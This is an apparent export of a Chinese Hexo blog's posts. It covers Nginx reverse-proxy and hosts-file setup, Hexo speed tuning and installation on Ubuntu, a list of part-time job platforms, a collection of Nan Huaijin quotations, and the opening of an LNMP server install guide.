alt="NLKMGD.png"></p><p>127.0.0.1/8002<br><img src="https://s1.ax1x.com/2020/07/02/NLKKPO.png" alt="NLKKPO.png"><br>能够访问到对应的index.html文件就好了。</p><h4 id="4-4设置两个域名并解析"><a href="#4-4设置两个域名并解析" class="headerlink" title="4.4设置两个域名并解析"></a>4.4设置两个域名并解析</h4><p>修改hosts文件，目的是为了设置2个域名， tomcat1.com和 tomcat2.com并且解析到本地ip：127.0.0.1</p><p>路径：C:\Windows\System32\drivers\etc<br><img src="https://s1.ax1x.com/2020/07/02/NLMMT0.png" alt="NLMMT0.png"></p><p>打开hosts文件，加上（如果修改后无法保存，可以把hosts文件复制到桌面，添加后再替换）</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">127.0.0.1 123.com</span><br><span class="line">127.0.0.1 1234.com</span><br></pre></td></tr></table></figure><p><img src="https://s1.ax1x.com/2020/07/02/NLMlkV.png" alt="NLMlkV.png"></p><h4 id="4-5测试域名解析是否能够访问"><a href="#4-5测试域名解析是否能够访问" class="headerlink" title="4.5测试域名解析是否能够访问"></a>4.5测试域名解析是否能够访问</h4><p>输入：123.com/test</p><p><a href="https://imgchr.com/i/NLM2nA"><img src="https://s1.ax1x.com/2020/07/02/NLM2nA.png" alt="NLM2nA.png"></a><br>输入：1234.com/test<br><a href="https://imgchr.com/i/NLMcXd"><img src="https://s1.ax1x.com/2020/07/02/NLMcXd.png" alt="NLMcXd.png"></a></p><h4 id="4-6配置反向代理"><a href="#4-6配置反向代理" class="headerlink" title="4.6配置反向代理"></a>4.6配置反向代理</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">        listen       80; </span><br><span class="line">        server_name  123.com;</span><br><span class="line">       </span><br><span class="line">        location  / &#123;</span><br><span class="line">        proxy_pass   http://127.0.0.1:8001/test;</span><br><span class="line">        index  index.html index.htm;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">server &#123;</span><br><span class="line">        listen       80;</span><br><span class="line">        server_name  1234.com;</span><br><span class="line">        </span><br><span class="line">        location / &#123;</span><br><span class="line">        proxy_pass   http://127.0.0.1:8002/test;</span><br><span class="line">        index  index.html index.htm;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h4 id="4-7测试是否配置成功"><a href="#4-7测试是否配置成功" class="headerlink" title="4.7测试是否配置成功"></a>4.7测试是否配置成功</h4><p><a href="https://imgchr.com/i/NLM66H"><img src="https://s1.ax1x.com/2020/07/02/NLM66H.png" alt="NLM66H.png"></a><br><a href="https://imgchr.com/i/NLMy1e"><img src="https://s1.ax1x.com/2020/07/02/NLMy1e.png" alt="NLMy1e.png"></a></p><p><strong>若是测试失败查看端口是否被占用</strong><br>cmd中输入：netstat -an|find “0:80”</p>]]></content>
      
      
      
        <tags>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>hexo博客整体性能优化</title>
      <link href="/2020/05/26/hexo-bo-ke-zheng-ti-xing-neng-you-hua/"/>
      <url>/2020/05/26/hexo-bo-ke-zheng-ti-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h3 id="hexo博客整体性能优化"><a href="#hexo博客整体性能优化" class="headerlink" title="hexo博客整体性能优化"></a>hexo博客整体性能优化</h3><h4 id="1-查找原因"><a href="#1-查找原因" class="headerlink" title="1.查找原因"></a>1.查找原因</h4><p>排查原因静态资源耗时较长,</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/blog/image-20210608101142696.png" alt="image-20210608101142696"></p><h4 id="2-解决方式"><a href="#2-解决方式" class="headerlink" title="2.解决方式"></a>2.解决方式</h4><p>采用又拍云的云服务,静态资源加速开启最近的技术趋势webp技术</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/blog/image-20210608112132196.png" alt="image-20210608112132196"></p><h4 id="3-成果"><a href="#3-成果" class="headerlink" title="3.成果"></a>3.成果</h4><p>响应速度控制在1.1秒</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/blog/image-20210608112035856.png" alt="image-20210608112035856"></p>]]></content>
      
      
      <categories>
          
          <category> 博客 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 博客，hexo </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>在Ubuntu16.04中安装hexo</title>
      <link href="/2020/05/12/zai-ubuntu16-04-zhong-an-zhuang-hexo/"/>
      <url>/2020/05/12/zai-ubuntu16-04-zhong-an-zhuang-hexo/</url>
      
        <content type="html"><![CDATA[<p>在Ubuntu16.04中安装hexo出现一系列的问题，总结一下安装hexo的步骤;</p><p>首先安装noejs，Ubuntu源中的nodejs时旧版本，所以需要在安装后更新nodejs;</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&gt; sudo apt-get install nodejs</span><br><span class="line">sudo apt install nodejs-legacy</span><br><span class="line">sudo apt install npm</span><br></pre></td></tr></table></figure><p>更换成淘宝的镜像，否则非常慢</p><p>  <code>sudo npm config set registry https://registry.npm.taobao.org</code></p><p>可以通过 sudo npm config list 查看是否生效</p><p>安装更新版本的工具N</p><p>  <code>sudo npm install n -g</code></p><p>更新版本</p><p>  <code>sudo n stable</code></p><p>可以看到有 installed：版号，说明更新成功</p><p>安装hexo</p><p>  <code>sudo npm install -g hexo</code></p>]]></content>
      
      
      
        <tags>
            
            <tag> Ubuntu </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>兼职资源总结</title>
      <link href="/2020/04/03/jian-zhi-zi-yuan-zong-jie/"/>
      <url>/2020/04/03/jian-zhi-zi-yuan-zong-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="兼职资源总结"><a href="#兼职资源总结" class="headerlink" title="兼职资源总结"></a>兼职资源总结</h1><h2 id="体力型"><a href="#体力型" class="headerlink" title="体力型"></a>体力型</h2><p>如果你想靠自己的体力来获取酬金，你就是属于体力型，比如跑腿、送外卖、送快递、搬砖等等。劳动最光荣，无谓体力还是智力，凭本事挣钱，没什么不好意思的。只要愿意干，就会有收入。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">人人跑腿：http://www.renrenrun.com/</span><br><span class="line">爱跑腿：http://www.ipaotui.com/index.php?m=Home&amp;c=IndexFourth&amp;a=runner</span><br><span class="line">美团跑腿：http://i.meituan.com/peisong/</span><br><span class="line">达达骑士：https://www.imdada.cn/transporter/</span><br><span class="line">UU跑腿：https://www.uupt.com/Driver.htm</span><br><span class="line">蜂鸟众包：https://fengniao.ele.me/delivery.html 《手把手教你使用蜂鸟众包》</span><br><span class="line">点我达骑手：https://www.dianwoda.com/rider.html</span><br><span class="line">微差事：http://www.weichaishi.com/customer.php</span><br></pre></td></tr></table></figure><h2 id="问卷调查型"><a href="#问卷调查型" class="headerlink" title="问卷调查型"></a>问卷调查型</h2><p>通过回答问卷问题，获取一定的积分或金币，积分或金币可兑换现金或礼品。无技术含量，适合新人小白，有时间，有手机就可以做，但性价比不高，而且可能你答了半天得到的结果是“非常抱歉，你不符合本次调查的要求！”，之前全是在浪费时间了。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">第一调查网：https://www.1diaocha.com/</span><br><span class="line">集思网：https://www.opinionworld.cn/zh-cn</span><br><span class="line">投吧：https://www.votebar.com/</span><br><span class="line">YouGov：https://china.yougov.com/zh/</span><br><span class="line">爱调查：http://www.52survey.com/</span><br><span class="line">易调网：http://www.yidiao.net/</span><br><span class="line">调研吧：http://www.diaoyanba.com/</span><br><span class="line">K任务：https://www.krenwu.com/</span><br></pre></td></tr></table></figure><h2 id="电脑技术型"><a href="#电脑技术型" class="headerlink" title="电脑技术型"></a>电脑技术型</h2><p>电脑技术型比较适合会程序设计方面的新手，有些小伙伴可能之前只是自己埋头苦练功法，从未思考过利用自己的电脑技术进行副业赚钱。可以去学院当老师，或者接单赚外快。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">51CTO学院：https://edu.51cto.com/lecturer/lectopics?edunav</span><br><span class="line">CSDN学院：https://edu.csdn.net/apply</span><br><span class="line">微擎：https://dev.w7.cc</span><br><span class="line">云沃客：https://www.clouderwork.com/guide/freelancer</span><br><span class="line">开源中国众包：https://zb.oschina.net/services/excellent-dev.html</span><br><span class="line">猿急送：https://www.yuanjisong.com/job</span><br><span class="line">互站网：https://task.huzhan.com</span><br><span class="line">程序员客栈：https://www.proginn.com/job/?from=top_nav</span><br><span class="line">码易众包：https://www.mayigeek.com/tab/taskList?type=&amp;price=&amp;bidEnd=</span><br><span class="line">码市众包：https://codemart.com/projects</span><br><span class="line">解放号：https://www.jfh.com/jfportal/market/index</span><br><span class="line">麦子学院：已倒闭</span><br></pre></td></tr></table></figure><h2 id="任务型"><a href="#任务型" class="headerlink" title="任务型"></a>任务型</h2><p>任务型，顾名思义，任务比较简单，难度系数低，适合新手小白，但和问卷调查一样，收益有限，略高于问卷类，奶茶自由可实现。<br>做任务类的副业比较简单，没什么难度，也适合所有人，不过收益也有限，每天能赚个几十块钱。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">阿里众包</span><br><span class="line">百度众测</span><br><span class="line">腾讯搜活帮</span><br><span class="line">有道众包</span><br><span class="line">京东微工</span><br><span class="line">爱数众包</span><br><span class="line">龙猫众包</span><br><span class="line">百川任务</span><br></pre></td></tr></table></figure><h2 id="设计型"><a href="#设计型" class="headerlink" title="设计型"></a>设计型</h2><p>设计型，就是你恰好会PS、CAD、3dmax、AI、AE等设计类软件上有一定的基础和造诣，利用自己的设计作品或签约设计平台来进行副业赚钱。其中包括设计logo、表情包</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">FOTOR</span><br><span class="line">云琥在线</span><br><span class="line">千图网</span><br><span class="line">昵图网</span><br><span class="line">花瓣网</span><br><span class="line">阿里巴巴矢量图标库</span><br><span class="line">开三云匠网</span><br><span class="line">扁平图标</span><br><span class="line">视觉中国</span><br><span class="line">picpas</span><br><span class="line">海洛创意</span><br><span class="line">东方IC</span><br><span class="line">中国图库</span><br><span class="line">图虫</span><br><span class="line">微信表情开放平台</span><br><span class="line">汇图网</span><br><span class="line">小米主题商店</span><br><span class="line">猪八戒</span><br></pre></td></tr></table></figure><h2 id="PPT设计型"><a href="#PPT设计型" class="headerlink" title="PPT设计型"></a>PPT设计型</h2><p>换言之，利用自己设计的PPT进行副业赚钱，或者签约PPT设计平台进行副业赚钱。可以出售PPT模板、个人简历模板等。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">咸鱼</span><br><span class="line">稻壳儿网</span><br><span class="line">演界网</span><br><span class="line">pptstore</span><br><span class="line">变色龙</span><br><span class="line">脚步网</span><br></pre></td></tr></table></figure><h2 id="翻译型"><a href="#翻译型" class="headerlink" title="翻译型"></a>翻译型</h2><p>翻译就是通过自己的英语水平，利用自己的翻译能力去换取一定的翻译酬金。一般网站右上角都有加入的途径，看一下对方的需要，一般会有入驻前有测试，也是为了保证译者的质量。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">人人译</span><br><span class="line">有道云翻译</span><br><span class="line">Gengo</span><br><span class="line">译喵网</span><br><span class="line">译客</span><br><span class="line">快译网</span><br><span class="line">Fiberead</span><br><span class="line">做到网</span><br><span class="line">我译网</span><br></pre></td></tr></table></figure><h2 id="知识付费"><a href="#知识付费" class="headerlink" title="知识付费"></a>知识付费</h2><p>如果你在某个细分领域有一定的专业性，可以尝试做自己的个人IP，通过分享自己的课程来赚取一定的副业收入。开课收徒吧老师们</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">知乎live</span><br><span class="line">唯库</span><br><span class="line">荔枝微课</span><br><span class="line">腾讯课堂</span><br><span class="line">网易云课堂</span><br><span class="line">知识星球</span><br><span class="line">千聊</span><br><span class="line">小鹅通</span><br></pre></td></tr></table></figure><h2 id="自媒体"><a href="#自媒体" class="headerlink" title="自媒体"></a>自媒体</h2><p>所谓自媒体，就是利用平台来打造个人IP，或者利用平台来赚取平台的流量费用。2020年了，是时候打造一个个人IP了，同时也是复利很强的一种副业模式，但需要你坚持输出，坚持做下去。写作，其实对很多人都没有那么难，尤其对于新手小白，也可以利用自媒体平台打磨自己的技能。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">知乎</span><br><span class="line">微信公众号</span><br><span class="line">百家号</span><br><span class="line">企鹅号</span><br><span class="line">大鱼号</span><br><span class="line">今日头条</span><br><span class="line">小红书</span><br><span class="line">趣头条</span><br><span class="line">豆瓣</span><br><span class="line">搜狐号</span><br><span class="line">简书</span><br></pre></td></tr></table></figure><h2 id="直播型"><a href="#直播型" class="headerlink" title="直播型"></a>直播型</h2><p>直播是通过一定的才艺表演或一定的直播内容产生副业收入，但并不是每个人都需要有一定的才艺的，比如前一段时间比较火的无人直播、睡觉直播。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">bilibili，即B站</span><br><span class="line">抖音</span><br><span class="line">快手</span><br><span class="line">全民小视频</span><br><span class="line">腾讯微视</span><br><span class="line">腾讯NOW直播</span><br><span class="line">微信视频号</span><br><span class="line">斗鱼</span><br><span class="line">虎牙</span><br></pre></td></tr></table></figure><h2 id="音频型"><a href="#音频型" class="headerlink" title="音频型"></a>音频型</h2><p>利用自己的声音开始副业，声音比较好的小伙伴比较适合，很多平台都有入住入口。比如配音、电台主播、有声小说。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">喜马拉雅FM</span><br><span class="line">荔枝FM</span><br><span class="line">今日头条音频</span><br><span class="line">配音秀</span><br><span class="line">配音圈</span><br></pre></td></tr></table></figure><h2 id="投稿写作类"><a href="#投稿写作类" class="headerlink" title="投稿写作类"></a>投稿写作类</h2><p>这个不需要多说，最主要是的是能否坚持，能不能不断去打磨自己的技能，需要有一定的文笔功力。网络小说写作</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">起点中文网：作家专区</span><br><span class="line">纵横中文网：作家专区</span><br><span class="line">17K小说网：作家专区</span><br><span class="line">晋江文学城：作家专区</span><br><span class="line">创世中文网：作家专区</span><br><span class="line">潇湘书院：作家专区</span><br></pre></td></tr></table></figure><h2 id="写手类网站"><a href="#写手类网站" class="headerlink" title="写手类网站"></a>写手类网站</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">稿稿</span><br><span class="line">中国赏金写手网</span><br><span class="line">豆瓣稿费银行</span><br><span class="line">天使领域浮云殿</span><br><span class="line">中国写手之家</span><br></pre></td></tr></table></figure><h2 id="手机APP平台"><a href="#手机APP平台" class="headerlink" title="手机APP平台"></a>手机APP平台</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">网易蜗牛读书</span><br><span class="line">汤圆创作</span><br><span class="line">每天读点故事</span><br><span class="line">壹写作</span><br><span class="line">简书</span><br><span class="line"></span><br><span class="line">拆书稿、听书稿</span><br><span class="line">壹心理</span><br><span class="line">慈怀读书会</span><br><span class="line">樊登读书会</span><br><span class="line">有书</span><br><span class="line">365读书</span><br><span class="line">蜗牛读书领读人</span><br><span class="line">十点读书会</span><br></pre></td></tr></table></figure><h2 id="各接稿的公众号"><a href="#各接稿的公众号" class="headerlink" title="各接稿的公众号"></a>各接稿的公众号</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">懒觉大妈</span><br></pre></td></tr></table></figure><h2 id="问答类"><a href="#问答类" class="headerlink" title="问答类"></a>问答类</h2><p>通过回答问题来换取平台收入或打造个人IP。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">百度知道合伙人</span><br><span class="line">悟空问答</span><br><span class="line">知乎</span><br><span class="line">在行</span><br></pre></td></tr></table></figure><h2 id="推广类"><a href="#推广类" class="headerlink" title="推广类"></a>推广类</h2><p>这个副业是推荐商品赚取佣金。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">淘宝联盟</span><br><span class="line">京东联盟</span><br><span class="line">多多进宝</span><br><span class="line">天眼查推广</span><br><span class="line">大疆联盟</span><br></pre></td></tr></table></figure><h2 id="文档类"><a href="#文档类" class="headerlink" title="文档类"></a>文档类</h2><p>上传资料到文档，别人下载就能赚取收益。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">百度文库</span><br><span class="line">豆丁文库</span><br><span class="line">道客巴巴</span><br></pre></td></tr></table></figure><h2 id="拍照类"><a href="#拍照类" class="headerlink" title="拍照类"></a>拍照类</h2><p>这个副业主要是拍一些门店或街道，完成任务后获得平台的奖励。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">美团拍店</span><br><span class="line">企鹅汇图</span><br><span class="line">高德地图淘金</span><br><span class="line">百度地图淘金</span><br></pre></td></tr></table></figure><h2 id="家教类"><a href="#家教类" class="headerlink" title="家教类"></a>家教类</h2><p>这个适合有专业技能的大学生或教师的副业，对学历有要求，一般需要本科以上，目前的家教时薪大致在50-200元/时左右。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">学而思网校app</span><br><span class="line">海风智学中心app</span><br><span class="line">掌门1对1</span><br><span class="line">作业帮答主</span><br><span class="line">轻轻教育</span><br><span class="line">课桌</span><br></pre></td></tr></table></figure><h2 id="二手交易类"><a href="#二手交易类" class="headerlink" title="二手交易类"></a>二手交易类</h2><p>买卖二手商品赚钱，或者倒卖商品赚差价钱。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">转转</span><br><span class="line">闲鱼</span><br></pre></td></tr></table></figure>]]></content>
      
      
      
        <tags>
            
            <tag> 兼职 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>南怀瑾经典语录</title>
      <link href="/2020/03/12/nan-huai-jin-jing-dian-yu-lu/"/>
      <url>/2020/03/12/nan-huai-jin-jing-dian-yu-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="南怀瑾经典语录"><a href="#南怀瑾经典语录" class="headerlink" title="南怀瑾经典语录"></a>南怀瑾经典语录</h1><ul><li><code>道为古，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。</code></li></ul><ul><li><p><code>有器度、有见识的人，他虽然从艰苦困难中成长，反而更具有同情心和慷慨好义的胸襟怀抱。因为他懂得人生，知道世情的甘苦。</code></p></li><li><p><code>学问最难是平淡，安于平淡的人，什么事业都可以做。</code></p></li><li><p><code>人生最高境界：佛为心，道为骨，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。三千年读史，不外功名利禄；九万里悟道，终归诗酒田园。</code></p></li><li><p><code>所以我常告诉青年同学们，一个人先要养成会享受寂寞，那你就差不多了，可以了解人生了，才体会到人生更高远的一层境界。这才会看到鸿福是厌烦的。佛经上说，一个学佛的人，你首先观察他有没有发起厌离心，也就是说厌烦世间的鸿福，对鸿福有厌离心，才是走向学佛之路。</code></p></li><li><p><code>道是天下人的公道。生命的意义不在肉体上，自性是光明的，不要被四大牵着走，不要玩弄四大。</code></p></li><li><p><code>有人指出你的烦恼，指出你的业障和染污的心理，自己还不服气，还不肯改，然后还抱住那习气业力的心理，把它当宝贝。唉！就让你去缠绵吧，反正六道轮回也蛮好玩的，多滚几回，我在那边等你就是。</code></p></li><li><p><code>智慧不是财产或世间福德所能换来的，是要多生累积福德来的。</code></p></li><li><p><code>当年我读四书五经，都是要背的。小朋友们要放学了，心里高兴，一边嘴里唱着一边你推我一下，我推你一把的。这样读书，心里会记住，一辈子忘不了。想起来的时候心里默念一下，其中的道理就又琢磨了一回。</code></p></li><li><p><code>生命就是这样，年年都有个春天，年年也有个冬天，这是生灭两头的现象；念头、细胞乃至一切物质也是有生有灭，永远都是这样。找到了生命能生能灭的根本，叫做成佛，叫证得菩提。……为什么佛教到中国，很容易就被吸收呢？因为中国文化的老祖宗，也讲过这个道理。</code></p></li><li><p><code>你说完没有？换我说了。</code></p></li><li><p><code>“投隙抵时，应事无方”这八个字要紧得很！你懂了以后一生妙用无穷…随便到哪里都可以找到工作，大的大做，小的小做你说你是个博士到处找不到工作，现在为了吃饭，有个地方需要一个工友不要说什么博士啊！问你学历，直说我小学毕业问你认不认得字啊？大字认得几个，小字不认得。</code></p></li><li><p><code>人不能没有学问，不能没有知识，仅为了学问而钻到牛角尖里去，又有什么用？像这样的学问，我们不大赞成。</code></p></li><li><p><code>学道要营养好，休息得够，才能用功，人家问我闭关做啥！睡觉。一进关房先睡七八天，以后不要睡了，一坐就用功了。尤其是夜里十一点以后一定要睡觉，烂睡一卧，那才会有精神。</code></p></li><li><p><code>道是天下人的公道。生命 的意义不在肉体上，自性是光明的，不要被四大牵着走，不要玩弄四大。</code></p></li><li><p><code>佛为心，道为骨，儒为表，大度看世界。</code></p></li><li><p><code>秋风落叶乱为堆， 扫去还来千百回。 一笑罢休闲处坐， 任他着地自成灰。</code></p></li><li><p><code>在艰苦中成长成功之人，往往由于心理的阴影，会导致变态的偏差。这种偏差，便是对社会对人们始终有一种仇视的敌意，不相信任何一个人，更不同情任何一个人。爱钱如命的悭吝，还是心理变态上的次要现象。相反的，有器度有见识的人，他虽然从艰苦困难中成长，反而更具有同情心和慷慨好义的胸襟怀抱。因为他懂得人生，知道世情的甘苦。</code></p></li><li><p><code>政治、军事、外交都是没有善恶是非的，只有利害关系。怎么临时处理，要懂得应变。但是要注意，虽然没有善恶是非，都还是有因果的。</code></p></li><li><p><code>“终身逌然，不知荣辱之在彼也，在我也”，这就是人生哲学。人为什么要外面人讲你好，你才觉得自己好呢？外面跟我毫不相干，在我自己，我认为好就好，爱笑就笑，爱哭就哭，跟别人毫不相干。</code></p></li><li><p><code>一个人内心没有涵养，就会变成色厉内荏，表面满不在乎，而内心非常空虚。其实，大可不必。一个人好就是好，穷就是穷，痛苦就是痛苦。</code></p></li><li><p><code>这是最好的时代，也是最坏的时代。西方文化的贡献，促进了物质文明的发达，这在表面上来看，可以说是幸福；坏，是指人们为了生存的竞争而忙碌，为了战争的毁灭而惶恐，为了欲海的难填而烦恼。在精神上，是最痛苦的。人类正面临着一个新的危机。</code></p></li><li><p><code>“我除了依照佛经以外，拿我几十年摸索的经验，诚恳地告诉各位，你真达到正身、正意，没有一个身体不能转化；没有病去不掉的；没有身心不会健康的。正身、正意做到了，身心两方面绝对地健康，可以返老还童。因为一切唯心所造，这是真的，就是“正身”、“正意”四个字。”</code></p></li><li><p><code>人生的最高境界是佛为心，道为骨，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。</code></p></li><li><p><code>畏就是敬，人生无所畏，实在很危险。</code></p></li><li><p><code>中国古人不轻易写书写文章。今日很多的文章、戏剧、新闻，写的是社会坏的一面，对小孩子有很坏的影响，这种文字对社会的影响比杀人还厉害。其实写的人未必有心教人学坏，也有写正面的，但是接受的人不看正面。古人对人类这种心理非常了解，所以下笔非常严谨。</code></p></li><li><p><code>有些人日常很忙，注意！赶快多打坐，不要以为忙啊！累啊！没时间。你要赶快坐，坐到能够住气，那么一个钟头下来，一天都用不完，但要真正做到了才行。不过有一点要注意！肠胃要空虚一点。道家两句话：“若要不老，腹中不饱。若要不死，肠内无屎。”当然营养还是要够，肠胃干净，气就容易充实。</code></p></li><li><p><code>天堂固然好，但却有人偏要死也不厌地狱。极乐世界固然使人羡慕，心向往之，但却有人愿意永远沐浴在无边苦海中，以苦为乐。与其舍一而取一，早已背道而驰。不如两两相忘，不执着于真假、善恶、美丑，便可得其道妙而逍遥自在了。</code></p></li><li><p><code>佛学为什么讲无常？因为世界上的事没有永恒的。人的欲望，永远贪求永恒，想永远保持存在，那是永远不可能的，那是笨蛋，是看不清楚的人搞的。所以佛告诉你，积聚必有消散，崇高必有堕落，合会终须别离，……那是必然的道理，这是大原则。</code></p></li><li><p><code>今天的世界惟科技马首是瞻，人格养成没有了，都是乱的不成器的，教育只是贩卖知识，这是根本乱源，是苦恼之源。只有科学、科技、哲学、宗教、文艺、人格养成教育回归一体，回归本位，均衡发展，才有希望。</code></p></li></ul><ul><li><p><code>今日的世界，物质文明发达，在表面上来看，是历史上最幸福的时代；但是人们为了生存的竞争而忙碌，为了战争的毁灭而惶恐，为了欲海的难填而烦恼。在精神上，也可以说是历史上最痛苦的时代。人是莫名其妙的生下来，无可奈何的活着，最后是不知所以然的死掉。”</code></p></li><li><p><code>在艰苦中成长成功之人，往往由于心理的阴影，会导致变态的偏差。这种偏差，便是对社会、对人们始终有一种仇视的敌意，不相信任何一个人，更不同情任何一个人。爱钱如命的悭吝，还是心理变态上的次要现象。相反的，有器度、有见识的人，他虽然从艰苦困难中成长，反而更具有同情心和慷慨好义的胸襟怀抱。因为他懂得人生，知道世情的甘苦。</code></p></li><li><p><code>生命，只在被欲望迷乱了的人心中，才一定要分出尊卑高下。不争，是人生至境。</code></p></li><li><p><code>是医心的，不管西医中医，都只是医身体的。心是个什么东西？思想情绪这个心很难医。我在美国的时候，看到一个日本人画的中国画，非常好。画的是中国大医师唐朝的孙思邈。……我得到孙思邈这幅画，很有感想，就写了一副对联：上联是“ 有药能医龙虎病”，龙王生病了向他求医；老虎生病也向他求医。……下联“  无方可治众生痴 ”，世界上哪个医生可以把笨蛋的头脑医得聪明起来？所以我说老庄讲的内容，就是医药。所有思想病、政治病、经济病，各种病，在里头提的非常多了，只看大家如何去研究。 释迦牟尼佛的佛法，老庄以及，都是治心的药，也是治心的方法。一般医生能够治身体的病，却不能治心。</code></p></li><li><p><code>世界上任何人，一辈子只做三件事，不是自欺，就是欺人，再不然就是被人欺。你看世界上的人，能不能逃出这三样事？能逃出了这三样的话，就跳出三界外了。</code></p></li><li><p><code>我看你们来学佛学道，年纪轻轻，非常照顾自己，又懒，又不肯助人，但要求起别人却非常严格，看看这个不对、那个也不对，觉得别人都不是圣贤，难道你就是圣贤吗？我看你是“剩闲”，是剩下来没有用的闲人，有你也不多、没你也不少的人。</code></p></li><li><p><code>当将军的五个条件：像牛一样的健壮；像狗一样的下贱；像狐狸一样的狡猾；像猴子一样的精明；像魔鬼一样的魅力。</code></p></li><li><p><code>我们学佛，不但要通达佛经，连世间的一切知识技能也要通，在家是好子女、好父母，在社会是真正有贡献的人，这样可以算学佛。</code></p></li><li><p><code>穷归穷，绝不愁，如果又穷又愁，这就划不来，变成穷愁潦倒就冤得很。</code></p></li><li><p><code>修行就像扫帚一样，心里头杂念都要扫掉，无住相布施，所以无住相这一句话就是扫帚，你心里头什么妄念都要扫掉。</code></p></li><li><p><code>佛学叫这个世界“娑婆世界”，译为“堪忍”，说我们这个世界是缺陷的世界。也说这个世界是缺陷的，让你有钱就不给你学问，有学问就没有钱；给你子孙满堂，就不给你别样了，所以总是有缺陷不圆满的。</code></p></li><li><p><code>三千年读史，不外功名利禄；九万里悟道，终归诗酒田园。  ——《易经》</code></p></li><li><p><code>男人的气质，临危而不惧，途穷而志存；苦难能自立，责任揽自身；怨恨能德报，美丑辩分明；名利甘居后，为理愿驰骋；仁厚纳知己，开明扩胸襟；当机能立断，遇乱能慎行；忍辱能负重，坚忍能守恒；临弱可落泪，对恶敢拼争；功高不自傲，事后常反省；举止终如一，立言必有行。人生最高境界：佛为心，道为骨，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。三千年读史，不外功名利禄；九万里悟道，终归诗酒田园。</code></p></li><li><p><code>什么叫作魔境界？就是求快乐、求享受、求快感。—— 《易经》</code></p></li><li><p><code>光读正面的历史是不够的，还要看小说。所谓历史，常常人名、地名、时间都是真的，内容不太靠得住；而小说，是人名、地点、时间都是假的，但那个故事却往往是真的。</code></p></li><li><p><code>这是最好的时代，也是最坏的时代。西方文化的贡献，促进了物质文明的发达，这在表面上来看，可以说是幸福；坏，是指人们为了生存的竞争而忙碌，为了战争的毁灭而惶恐，为了欲海的难填而烦恼。在精神上，是最痛苦的。在这物质文明发达和精神生活贫乏的尖锐对比下，人类正面临着一个新的危机。</code></p></li><li><p><code>老实说吧，没有什么脑袋好不好的，是肯用心与不肯用心之故。你把我这句话仔细研究，聪明的人一听就会，就记住了，我笨，我多念一百遍，也成功了。所以“勤能补拙”这四个字要记住。</code></p></li><li><p><code>人有三个基本错误是不能犯的：一是德薄而位尊，二是智小而谋大，三是力小而任重。</code></p></li><li><p><code>夫妇本是前缘，善缘、恶缘，无缘不合。儿女原是宿债，欠债、还债，有债方来。</code></p></li></ul>]]></content>
      
      
      
        <tags>
            
            <tag> 经典语录 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 搭建 LNMP 环境</title>
      <link href="/2020/02/17/linux-da-jian-lnmp-huan-jing/"/>
      <url>/2020/02/17/linux-da-jian-lnmp-huan-jing/</url>
      
        <content type="html"><![CDATA[<p>本教程以 Ubuntu 16.04 操作系统为例讲解如何搭建 LNMP 环境。</p><p>1.在操作系统安装完毕后你需要更新下系统，执行</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo apt-get update &amp;&amp; sudo apt-get dist-upgrade</span><br></pre></td></tr></table></figure><p>安装 screen</p><p>screen 可以创建一个后台会话，将任务放在后台执行，非常适合比如编译软件、编译内核、安装更新等任务。</p><p>1.安装</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo apt-get install screen</span><br></pre></td></tr></table></figure><p>2.创建一个会话</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">screen -S lnmp</span><br></pre></td></tr></table></figure><p>下载 LNMP 安装包</p><p>可以<a href="https://lnmp.org/download.html">去这里</a> 下载最新的 lnmp</p><p>安装包进行编译安装，或直接在命令行执行如下命令</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">wget -c http://soft.vpser.net/lnmp/lnmp1.4-full.tar.gz</span><br><span class="line">tar zxvf lnmp1.4-full.tar.gz</span><br><span class="line">cd lnmp1.4-full</span><br><span 